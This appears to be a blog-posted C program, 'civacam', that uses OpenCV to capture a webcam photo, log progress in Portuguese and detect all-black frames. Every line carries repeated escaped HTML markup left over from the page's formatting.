&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;{&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;    char * logfilename = &quot;civacam.log\0&quot;;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;    logfile = fopen (logfilename, &quot;a&quot;);&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;}&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;void close_log()&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;{&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;     if ( logfile != NULL ) fclose( logfile );&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;}&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;char msglog[1000];&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;bool debugging = false;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;bool black_image_detector(IplImage* inputImage)&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;{&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;    if ( inputImage == 0 ) return true;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;    // Go over all pixels in the detector&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;    int x = 0;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;    for( x = 0 ; x &amp;lt; inputImage-&amp;gt;width; x++) {&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;        int y = 0;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;        for( y = 0; y &amp;lt; inputImage-&amp;gt;height; y++) {&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;            // Get pixel value from the input image&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;            int inputVal = (int)(cvGet2D(inputImage,y,x).val[0]);&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;            if ( inputVal &amp;gt; 5 ) {&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;               if (debugging) sprintf( msglog, &quot;[DEBUG] dentro do  black_image_detector  vou retornou false&quot; );&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;               if (debugging) write_log(&amp;amp;msglog[0]);&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;                     return false;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;            }&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;        }&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;    }&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;    return true;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;}&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;int main(int argc, char *argv[])&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;{&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;  open_log();&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;  if ( argc == 1 ) {&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;         write_log(&quot;[FATAL] PROCESSO INTERROMPIDO! Motivo: Processo civacam chamado sem argumentos, Obrigatoria a informacao do endereco de destino do arquivo.&quot;);&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;         return 1;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;  }&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;  char * outfilename = argv[1];&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;  sprintf( msglog, &quot;[INFO] Processo civacam iniciado para capturar foto com nome de arquivo: [%s]...&quot;, outfilename );&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;  write_log(&amp;amp;msglog[0]);&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt; &lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;  /*&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;  // A way to set directshow input to composite - Only C++&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;  videoInput VI;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;  VI.setupDevice(0, VI_COMPOSITE);&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;  VI.setFormat(0, VI_NTSC_M);&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;  VI.stopDevice(0);&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
